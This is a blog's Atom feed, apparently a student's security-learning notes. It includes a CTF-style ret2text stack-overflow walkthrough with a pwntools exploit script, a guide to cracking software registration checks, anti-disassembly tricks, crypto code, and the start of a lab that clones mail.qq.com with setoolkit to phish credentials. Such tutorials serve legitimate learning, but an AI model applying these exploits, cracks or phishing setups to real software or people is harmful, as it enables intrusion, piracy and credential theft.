forked from tocttou/hacker-blog
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
187 lines (109 loc) · 33.1 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>song's blog</title>
<subtitle>先努力让自己发光,你所喜欢的一切,你所向往的所有,才会迎着光而来</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="https://songzzzz.xyz/"/>
<updated>2020-11-18T03:17:42.161Z</updated>
<id>https://songzzzz.xyz/</id>
<author>
<name>song</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>Linux下栈溢出学习 1</title>
<link href="https://songzzzz.xyz/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/"/>
<id>https://songzzzz.xyz/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/</id>
<published>2020-07-22T14:04:42.000Z</published>
<updated>2020-11-18T03:17:42.161Z</updated>
<content type="html"><![CDATA[<p>这篇文章主要讲解了二进制栈溢出的原理。</p><a id="more"></a><h2 id="1、关于栈的举例说明"><a href="#1、关于栈的举例说明" class="headerlink" title="1、关于栈的举例说明"></a>1、关于栈的举例说明</h2><blockquote><ol><li>栈是一种LIFO的数据结构。</li><li>应用程序有一到多个用户态栈。</li><li>栈自底向上增长,由指令PUSH和POP引起其动态变化。</li><li>局部变量布局在栈中。</li><li>调用函数时参数由栈传递,返回地址也存储于栈中。</li><li>函数调用上下文与局部变量共同组成了栈帧——Stack Frame.</li></ol></blockquote><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/2.png" alt="alt"></p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/3.png" alt="alt"></p><h2 id="2、栈的保护机制"><a href="#2、栈的保护机制" class="headerlink" title="2、栈的保护机制"></a>2、栈的保护机制</h2><p>CANNARY(栈保护)</p><blockquote><p>栈溢出保护是一种缓冲区溢出攻击缓解手段,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。</p></blockquote><p>NX(DEP)(数据执行保护 Data Execution Prevention)</p><blockquote><p>NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。</p></blockquote><p>PIE(ASLR)</p><blockquote><p>内存地址随机化机制(address space layout randomization),有以下三种情况:<br>0 - 表示关闭进程地址空间随机化<br>1 - 表示将mmap的基址,stack和vdso页面随机化<br>2 - 表示在1的基础上增加堆(heap)的随机化</p></blockquote><h2 id="栈溢出的利用思路"><a href="#栈溢出的利用思路" class="headerlink" title="栈溢出的利用思路"></a>栈溢出的利用思路</h2><blockquote><ol><li>先决条件:栈局部变量可控,存在溢出漏洞(strcpy、memcpy等)。</li><li>通过计算栈空间,写出shellcode,并用shellcode起始地址覆盖栈帧的返回地址(ret addr)。</li><li>Payload = [Nop sled + ] Shellcode + Pad + Shellcode’s Addr</li></ol></blockquote><h2 id="实际利用"><a href="#实际利用" class="headerlink" title="实际利用"></a>实际利用</h2><p>文件链接:<a href="https://share.weiyun.com/evUKkBCv" target="_blank" rel="noopener">https://share.weiyun.com/evUKkBCv</a></p><p>首先讲一下这道题的思路,gdb打开程序,然后运行,输入一串字符,然后程序在某个地址发生错误。</p><p>使用checksec ret2text查看程序的保护机制,这里发现啥都没有</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/7.png" alt="alt"></p><p>使用cyclic 150 生成150个字符</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/6.png" alt="alt"></p><p>运行程序,输入字符串,发现程序在0x61616166发生错误</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/8.png" alt="alt"></p><p>使用cyclic -l 0x61616166计算偏移量(上述方法只适用于32位程序),得到偏移量20</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/9.png" alt="alt"></p><p>通过gdb调试也可以看出偏移量是20</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/16.png" alt="alt"></p><p>在ida中打开程序,找到main函数</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/10.png" alt="alt"></p><p>进入到vulnerable函数,发现有个gets函数(gets函数是很不安全的)</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/11.png" alt="alt"></p><p>然后搜索字符串,发现/bin/sh</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/12.png" alt="alt"></p><p>/bin/sh的作用简而言之就是打开一个可以执行bash命令的命令行,所以当看到这个字符串时一定要重视</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/13.png" alt="alt"></p><p>然后继续跟进的话,可以发现有个可以直接使用的后门函数</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/14.png" alt="alt"></p><p>接下来就可以开始写exp了</p><pre><code># 导入pwntoolsfrom pwn import *# 在本地运行ret2textp = process("./ret2text")# 远程执行的话如下# p = remote('127.0.0.1',8982)# 前面是ip地址,后面是端口号# 后门函数的地址address = 0x08048522# payload的构成,先填充20个垃圾字符,在用后门函数的地址覆盖返回地址payload = 0x14 * 'a'.encode() + p32(address)# 上面是在python3下的写法,下面是python2下# payload = 0x14 * 'a' + p32(address)# 发送payloadp.sendline(payload)# 在终端里将命令传送到远程服务器p.interactive();</code></pre><p>如果对于exp中的命令不理解,可以看看这篇<a href="https://bbs.pediy.com/thread-247217.htm" target="_blank" rel="noopener">文章</a></p><p>栈的结构如下:</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/ret2text.png" alt="alt"></p><p>运行exp.py,利用成功</p><p><img src="/2020/07/22/%E6%A0%881-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/15.png" alt="alt"></p><p> </p>]]></content>
<summary type="html">
<p>这篇文章主要讲解了二进制栈溢出的原理。</p>
</summary>
<category term="pwn" scheme="https://songzzzz.xyz/categories/pwn/"/>
</entry>
<entry>
<title>花指令</title>
<link href="https://songzzzz.xyz/2020/07/13/%E8%8A%B1%E6%8C%87%E4%BB%A4/"/>
<id>https://songzzzz.xyz/2020/07/13/%E8%8A%B1%E6%8C%87%E4%BB%A4/</id>
<published>2020-07-13T14:33:50.000Z</published>
<updated>2020-11-18T03:15:55.933Z</updated>
<content type="html"><![CDATA[<p>了解花指令的作用、使用方法及如何去除</p><a id="more"></a><p>##花指令的作用</p><blockquote><p>花指令是对抗反汇编的有效手段之一,正常代码添加了花指令之后,可以破坏静态反汇编的过程,使反汇编的结果出现错误,使ida和ollydbg等搜索不到字符串。错误的反汇编结果会造成破解者的分析工作大量增加,进而使之不能理解程序的结构和算法,也就很难破解程序,从而达到病毒或软件保护的目的。<br>缺点:不能防止动态调试</p></blockquote><p>以以下代码为例:</p><pre><code>#include <iostream>int main(){ _asm { xor eax,eax test eax,eax je Label1 _emit 0e8h Label1: } std::cout << "Test Junk Code" << std::endl; system("pause");}</code></pre><p>##原理</p><p>通过加入汇编代码构成恒成立跳转,在ollydbg中</p><p><img src="/2020/07/13/%E8%8A%B1%E6%8C%87%E4%BB%A4/1.png" alt="alt"></p><p>在ida中</p><p><img src="/2020/07/13/%E8%8A%B1%E6%8C%87%E4%BB%A4/2.png" alt="alt"></p><p>如何去除花指令进行反编译?</p><p>找到花指令的地方,并将这个E8改为90(即nop)</p><p><img src="/2020/07/13/%E8%8A%B1%E6%8C%87%E4%BB%A4/3.png" alt="alt"></p><p>改完后的效果,返现字符串已经吐出来了</p><p><img src="/2020/07/13/%E8%8A%B1%E6%8C%87%E4%BB%A4/4.png" alt="alt"></p><p>可以看到在ida中就可以反汇编了</p><p><img src="/2020/07/13/%E8%8A%B1%E6%8C%87%E4%BB%A4/5.png" alt="alt"></p><p><img src="/2020/07/13/%E8%8A%B1%E6%8C%87%E4%BB%A4/6.png" alt="alt"></p>]]></content>
<summary type="html">
<p>了解花指令的作用、使用方法及如何去除</p>
</summary>
<category term="reverse" scheme="https://songzzzz.xyz/categories/reverse/"/>
</entry>
<entry>
<title>使用C语言和易语言写一个简单的内存补丁</title>
<link href="https://songzzzz.xyz/2020/05/21/%E4%BD%BF%E7%94%A8C%E8%AF%AD%E8%A8%80%E5%92%8C%E6%98%93%E8%AF%AD%E8%A8%80%E5%86%99%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E5%AD%98%E8%A1%A5%E4%B8%81/"/>
<id>https://songzzzz.xyz/2020/05/21/%E4%BD%BF%E7%94%A8C%E8%AF%AD%E8%A8%80%E5%92%8C%E6%98%93%E8%AF%AD%E8%A8%80%E5%86%99%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E5%AD%98%E8%A1%A5%E4%B8%81/</id>
<published>2020-05-21T07:38:03.000Z</published>
<updated>2020-11-18T03:17:13.507Z</updated>
<content type="html"><![CDATA[<p>如何使用C语言和易语言写一个简单的内存补丁</p><a id="more"></a><p>运行程序,结果如下:</p><p><img src="/2020/05/21/%E4%BD%BF%E7%94%A8C%E8%AF%AD%E8%A8%80%E5%92%8C%E6%98%93%E8%AF%AD%E8%A8%80%E5%86%99%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E5%AD%98%E8%A1%A5%E4%B8%81/1.png" alt="alt"></p><p>由<a href="https://songzzzz.xyz/2020/04/07/%E7%A0%B4%E8%A7%A3%E8%BD%AF%E4%BB%B6%E6%B3%A8%E5%86%8C%E7%A0%81%E7%9A%84%E4%B8%80%E8%88%AC%E6%80%9D%E8%B7%AF/">https://songzzzz.xyz/2020/04/07/%E7%A0%B4%E8%A7%A3%E8%BD%AF%E4%BB%B6%E6%B3%A8%E5%86%8C%E7%A0%81%E7%9A%84%E4%B8%80%E8%88%AC%E6%80%9D%E8%B7%AF/</a>可以知道破解的思路,找到破解点,并nop掉。</p><p>详细程序示例及代码见:<a href="https://share.weiyun.com/SmtBFD61" target="_blank" rel="noopener">https://share.weiyun.com/SmtBFD61</a></p>]]></content>
<summary type="html">
<p>如何使用C语言和易语言写一个简单的内存补丁</p>
</summary>
<category term="reverse" scheme="https://songzzzz.xyz/categories/reverse/"/>
</entry>
<entry>
<title>ida和ollydbg搜索不到字符串</title>
<link href="https://songzzzz.xyz/2020/05/21/%E5%A6%82%E4%BD%95%E5%86%99%E4%B8%80%E4%B8%AAida%E5%92%8Collydbg%E6%90%9C%E7%B4%A2%E4%B8%8D%E5%88%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E7%A8%8B%E5%BA%8F/"/>
<id>https://songzzzz.xyz/2020/05/21/%E5%A6%82%E4%BD%95%E5%86%99%E4%B8%80%E4%B8%AAida%E5%92%8Collydbg%E6%90%9C%E7%B4%A2%E4%B8%8D%E5%88%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E7%A8%8B%E5%BA%8F/</id>
<published>2020-05-21T06:53:04.000Z</published>
<updated>2020-11-18T03:17:08.494Z</updated>
<content type="html"><![CDATA[<p>如何写一个ida和ollydbg搜索不到字符串的程序</p><a id="more"></a><p>先上代码</p><pre><code>#include <iostream>#include<string>int main(){char str[] = { 0xD5, 0xFD, 0xC8, 0xB7, 0x00};char str1[] = { 0xB4, 0xED, 0xCE, 0xF3, 0x00};char flag[] ={ 0x66 ,0x6C ,0x61 ,0x67 ,0x7B ,0x74 ,0x68 ,0x69 ,0x73 ,0x5F ,0x69 ,0x73 ,0x5F ,0x6E ,0x6F ,0x74 ,0x5F ,0x66 ,0x6C ,0x61 ,0x67 ,0x7D ,0x00 };//flag{this_is_not_flag}std::string a;std::cin >> a;if (a == flag){ std::cout << str << std::endl;}else{ std::cout << str1 << std::endl;}return 0;}</code></pre><p>程序很简单就是判断输入的字符串是否等于flag{this_is_not_flag},运行结果如下。</p><p><img src="/2020/05/21/%E5%A6%82%E4%BD%95%E5%86%99%E4%B8%80%E4%B8%AAida%E5%92%8Collydbg%E6%90%9C%E7%B4%A2%E4%B8%8D%E5%88%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E7%A8%8B%E5%BA%8F/1.png" alt="alt"></p><p>OD中运行结果</p><p><img src="/2020/05/21/%E5%A6%82%E4%BD%95%E5%86%99%E4%B8%80%E4%B8%AAida%E5%92%8Collydbg%E6%90%9C%E7%B4%A2%E4%B8%8D%E5%88%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E7%A8%8B%E5%BA%8F/2.png" alt="alt"></p><p>ida中运行结果</p><p><img src="/2020/05/21/%E5%A6%82%E4%BD%95%E5%86%99%E4%B8%80%E4%B8%AAida%E5%92%8Collydbg%E6%90%9C%E7%B4%A2%E4%B8%8D%E5%88%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E7%A8%8B%E5%BA%8F/3.png" alt="alt"></p><p>为什么搜索不到字符串呢?因为在ida和OD中,搜索字符串都是判断结尾的标志’\0’,而像上述代码中字符串采用的是二进制形式,就不能搜索到’\0’,其实字符串是被加载到了内存中,但是我们要是把字符串定义成全局变量了,ida和od就能搜索到了,这时字符串被加载到了堆栈中。</p><p><img src="/2020/05/21/%E5%A6%82%E4%BD%95%E5%86%99%E4%B8%80%E4%B8%AAida%E5%92%8Collydbg%E6%90%9C%E7%B4%A2%E4%B8%8D%E5%88%B0%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E7%A8%8B%E5%BA%8F/4.png" alt="alt"></p>]]></content>
<summary type="html">
<p>如何写一个ida和ollydbg搜索不到字符串的程序</p>
</summary>
<category term="reverse" scheme="https://songzzzz.xyz/categories/reverse/"/>
</entry>
<entry>
<title>破解软件注册码的一般思路</title>
<link href="https://songzzzz.xyz/2020/04/07/%E7%A0%B4%E8%A7%A3%E8%BD%AF%E4%BB%B6%E6%B3%A8%E5%86%8C%E7%A0%81%E7%9A%84%E4%B8%80%E8%88%AC%E6%80%9D%E8%B7%AF/"/>
<id>https://songzzzz.xyz/2020/04/07/%E7%A0%B4%E8%A7%A3%E8%BD%AF%E4%BB%B6%E6%B3%A8%E5%86%8C%E7%A0%81%E7%9A%84%E4%B8%80%E8%88%AC%E6%80%9D%E8%B7%AF/</id>
<published>2020-04-07T15:03:52.000Z</published>
<updated>2020-11-18T03:17:05.543Z</updated>
<content type="html"><![CDATA[<p>破解软件注册码的一般思路,这里以一个简单的易语言编写的程序来说明</p><a id="more"></a><p>首先我们来了解一下这类程序的流程</p><p>程序的验证流程:</p><p>1、点击注册按钮</p><p>2、读取注册码</p><p>3、判断注册码是否合法</p><p>4、提示用户是否注册成功</p><p>我们只需要定位到关键破解位置:</p><p>关键点:判断注册码的位置</p><p>爆破:对程序流程修改,让程序判断失误(随便输入)</p><p>首先来看一下这个程序,输入错误,提示注册失败,正确,提示注册成功</p><p><img src="/2020/04/07/%E7%A0%B4%E8%A7%A3%E8%BD%AF%E4%BB%B6%E6%B3%A8%E5%86%8C%E7%A0%81%E7%9A%84%E4%B8%80%E8%88%AC%E6%80%9D%E8%B7%AF/1.png" alt="alt"></p><p><img src="/2020/04/07/%E7%A0%B4%E8%A7%A3%E8%BD%AF%E4%BB%B6%E6%B3%A8%E5%86%8C%E7%A0%81%E7%9A%84%E4%B8%80%E8%88%AC%E6%80%9D%E8%B7%AF/2.png" alt="alt"></p><p>第一种方法:</p><p>查找对应的api,因为这个程序弹出了一个窗口,所以我们可以知道调用了GetWindowTextA这个api,通过搜索这个api,在这个地方下断点,然后进行单步调试,寻找关键点(jmp等大的跳转、cmp比较等)</p><p>第二种方法:</p><p>使程序完成注册这个过程,然后在内存中搜索出现的字符串,然后下断点或择硬件访问断点,再次运行运行程序,然后单步调试</p><p>第三种方法:</p><p>直接搜索字符串,但这种直接让你搜索到关键字符串的方法一般不行,然后下断点单步调试,寻找关键点</p>]]></content>
<summary type="html">
<p>破解软件注册码的一般思路,这里以一个简单的易语言编写的程序来说明</p>
</summary>
<category term="reverse" scheme="https://songzzzz.xyz/categories/reverse/"/>
</entry>
<entry>
<title>C语言实现AES算法</title>
<link href="https://songzzzz.xyz/2020/04/02/AES%E7%AE%97%E6%B3%95/"/>
<id>https://songzzzz.xyz/2020/04/02/AES%E7%AE%97%E6%B3%95/</id>
<published>2020-04-02T06:37:44.000Z</published>
<updated>2020-11-18T03:19:44.814Z</updated>
<content type="html"><![CDATA[<p>c语言实现AES</p><a id="more"></a><p>代码如下:</p><pre><code>#include<stdio.h>#define N 4static unsigned char Sbox[16*16]= {// populate the Sbox matrix /* 0 1 2 3 4 5 6 7 8 9 a b c d e f */ /*0*/ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, /*1*/ 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, /*2*/ 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, /*3*/ 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, /*4*/ 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, /*5*/ 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, /*6*/ 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, /*7*/ 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, /*8*/ 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, /*9*/ 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, /*a*/ 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, /*b*/ 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, /*c*/ 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, /*d*/ 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, /*e*/ 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, /*f*/ 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16};void SubBytes(unsigned char State[N][N]){int i,j;char high;char low;for (i = 0; i < N; i ++){ for (j = 0; j < N; j ++) { low = State[i][j] & 0x0F; //取低4位 high = (State[i][j] >> 4)&0x0f; //取高4位 State[i][j] = Sbox[16*high + low]; }}}void ShiftRows(unsigned char State[N][N]){int i,j,k;int shiftnum = 0;char tmp;for (i = 0; i < N; i ++){ for (j = 0; j < shiftnum; j ++) //循环左移一次 { tmp = State[i][0]; for (k = 0; k < N-1; k ++) { State[i][k] = State[i][k+1]; } State[i][k] = tmp; } shiftnum ++; //移位次数+1}}unsigned char gfmultby01(unsigned char b){return b;}unsigned char gfmultby02(unsigned char b){if (b < 0x80) return (unsigned char)(int)(b <<1);else return (unsigned char)( (int)(b << 1) ^ (int)(0x1b) );}unsigned char gfmultby03(unsigned char b){return (unsigned char) ( (int)gfmultby02(b) ^ (int)b );}unsigned char choose(unsigned char a, unsigned char b){if (a == 0x01){ return gfmultby01(b);}if (a == 0x02){ return gfmultby02(b);}if (a == 0x03){ return gfmultby03(b);} return b;}void MixColumns(unsigned char State[N][N]) // 列混合{unsigned char mix[N][N] = { 0x02, 0x03, 0x01, 0x01, 0x01, 0x02, 0x03, 0x01, 0x01, 0x01, 0x02, 0x03, 0x03, 0x01, 0x01, 0x02};unsigned char tmp[N];unsigned char end[N][N];int i, j, k;for (i = 0; i < N; i++){ for (j = 0; j < N; j++) { for (k = 0; k < N; k++) { tmp[k] = choose(mix[i][k], State[k][j]); } end[i][j] = tmp[0] ^ tmp[1] ^ tmp[2] ^ tmp[3]; }}for (i = 0; i < N; i++){ for (j = 0; j < N; j++) { State[i][j] = end[i][j]; }}}void AddRoundKey(unsigned char State[N][N], unsigned char RoundKey[N][N]){int i,j;for (j = 0; j < N; j ++){ for (i = 0; i < N; i ++) State[i][j] = State[i][j] ^ RoundKey[i][j];}}void main(){unsigned char input[32]; //输入unsigned char state[4][4];unsigned char key[32];unsigned char RoundKey[4][4];//测试数据 49 15 59 8f 55 e5 d7 a0 da ca 94 fa 1f 0a 63 f7// b6 ff 74 4e d2 c2 c9 bf 6c 59 0c bf 04 69 bf 41int i;printf("请输入明文:");for(i = 0; i < 16; i++){ scanf("%x",&input[i]);}printf("请输入轮加密的子秘钥:");for(i = 0; i < 16; i++){ scanf("%x",&key[i]);}for(i = 0;i < 4;i++){ for(int j = 0;j < 4;j++) { RoundKey[j][i] =key[i*4+j]; }}printf("round[3].start ");for(i = 0; i < 16; i++){ printf("%02x",input[i]);}printf("\n");for(i = 0;i < 4;i++){ for(int j = 0;j < 4;j++) { state[j][i] =input[i*4+j]; }}//s盒printf("round[3].s_box ");SubBytes(state);for(i=0;i<4;i++){ for(int j =0;j<4;j++) { printf("%02x",state[j][i]); }}printf("\n");//行移位ShiftRows(state);printf("round[3].row ");for(i=0;i<4;i++){ for(int j =0;j<4;j++) { printf("%02x",state[j][i]); }}printf("\n");//列混合printf("round[3].m_col ");MixColumns(state);for(i=0;i<4;i++){ for(int j =0;j<4;j++) { printf("%02x",state[j][i]); }}printf("\n");//轮秘钥加printf("round[3].k_sch ");for(i=0;i<4;i++){ for(int j =0;j<4;j++) { printf("%02x",RoundKey[j][i]); }}printf("\n");printf("round[3].out ");AddRoundKey(state,RoundKey);for(i=0;i<4;i++){ for(int j =0;j<4;j++) { printf("%02x",state[j][i]); }}printf("\n");}</code></pre><p>运行结果截图:</p><p><img src="/2020/04/02/AES%E7%AE%97%E6%B3%95/1.png" alt="alt"></p>]]></content>
<summary type="html">
<p>c语言实现AES</p>
</summary>
<category term="algorithm" scheme="https://songzzzz.xyz/categories/algorithm/"/>
</entry>
<entry>
<title>用c++实现模重复平方法和平方乘算法</title>
<link href="https://songzzzz.xyz/2020/03/28/%E7%94%A8c-%E5%AE%9E%E7%8E%B0%E6%A8%A1%E9%87%8D%E5%A4%8D%E5%B9%B3%E6%96%B9%E6%B3%95%E5%92%8C%E5%B9%B3%E6%96%B9%E4%B9%98%E7%AE%97%E6%B3%95/"/>
<id>https://songzzzz.xyz/2020/03/28/%E7%94%A8c-%E5%AE%9E%E7%8E%B0%E6%A8%A1%E9%87%8D%E5%A4%8D%E5%B9%B3%E6%96%B9%E6%B3%95%E5%92%8C%E5%B9%B3%E6%96%B9%E4%B9%98%E7%AE%97%E6%B3%95/</id>
<published>2020-03-27T17:16:11.000Z</published>
<updated>2020-11-18T03:19:54.638Z</updated>
<content type="html"><![CDATA[<p>用c++实现模重复平方法和平方乘算法</p><a id="more"></a><p>代码如下:</p><pre><code>#include<iostream>#include<bitset>using namespace std;//模重复平方法int mopin_57(int a, int b, int c){ int s(1); bitset<16> d(b); //将幂转换为二进制 /* 另一种写法 while (b) { if (b & 1) { s = (s * a) % c; } a = (a * a) % c; b = b >> 1; } */ for (int i =0; i < d.size(); i++) { if (d[i] == 1) s = (s * a) % c; a = (a * a) % c; } return s;}</code></pre><p><br> //平方乘方法<br> int pingfang_57(int a,int b,int c)<br> {<br> int m(1);<br> int n(0);<br> bitset<16> d(b);<br> for (int i =d.size() - 1; i >= 0 ; i–)<br> {<br> n = 2 * n;<br> m = (m * m) % c;<br> if (d[i] == 1)<br> {<br> n++;<br> m = (m * a) % c;<br> }<br><br> }<br> return m;<br> }</p><pre><code>int main(){ int a = 7; int m = 22; int n = 31; cout << "第一组测试值:a=" << a << " m=" << m << " n=" << n << endl; cout << "模平方重复法的到的结果:" << mopin_57(a, m, n) << endl; cout << "平方乘方法得到的结果:" << pingfang_57(a, m, n) << endl; a = 501; m = 13; n = 667; cout << "第一组测试值:a=" << a << " m=" << m << " n=" << n << endl; cout << "模平方重复法的到的结果:" << mopin_57(a, m, n) << endl; cout << "平方乘方法得到的结果:" << pingfang_57(a, m, n) << endl; a = 501; m = 57; n = 2157; cout << "第一组测试值:a=" << a << " m=" << m << " n=" << n << endl; cout << "模平方重复法的到的结果:" << mopin_57(a, m, n) << endl; cout << "平方乘方法得到的结果:" << pingfang_57(a, m, n) << endl; return 0;}</code></pre><p>运行结果:</p><p><img src="/2020/03/28/%E7%94%A8c-%E5%AE%9E%E7%8E%B0%E6%A8%A1%E9%87%8D%E5%A4%8D%E5%B9%B3%E6%96%B9%E6%B3%95%E5%92%8C%E5%B9%B3%E6%96%B9%E4%B9%98%E7%AE%97%E6%B3%95/1.png" alt="alt"></p>]]></content>
<summary type="html">
<p>用c++实现模重复平方法和平方乘算法</p>
</summary>
<category term="algorithm" scheme="https://songzzzz.xyz/categories/algorithm/"/>
</entry>
<entry>
<title>局域网钓鱼攻击</title>
<link href="https://songzzzz.xyz/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/"/>
<id>https://songzzzz.xyz/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/</id>
<published>2020-01-11T12:47:28.000Z</published>
<updated>2020-11-18T03:20:10.706Z</updated>
<content type="html"><![CDATA[<p>通过kali在局域网构建钓鱼网站,获取账号密码</p><a id="more"></a><p>实验环境: win7,kali(我的网络模式是nat。如果是桥接模式的话,可以选择主机和kali来进行)</p><p>1、首先查看ip地址</p><p>主机ip地址: 10.18.252.23</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/1.png" alt="alt"></p><p>kali ip地址:192.168.227.128</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/2.png" alt="alt"></p><p>win7 ip地址:192.168.227.129</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/3.png" alt="alt"></p><p>2、克隆钓鱼网站</p><p>我这里的话选择qq邮箱网站 mail.qq.com</p><p>打开setoolkit 工具</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/4.png" 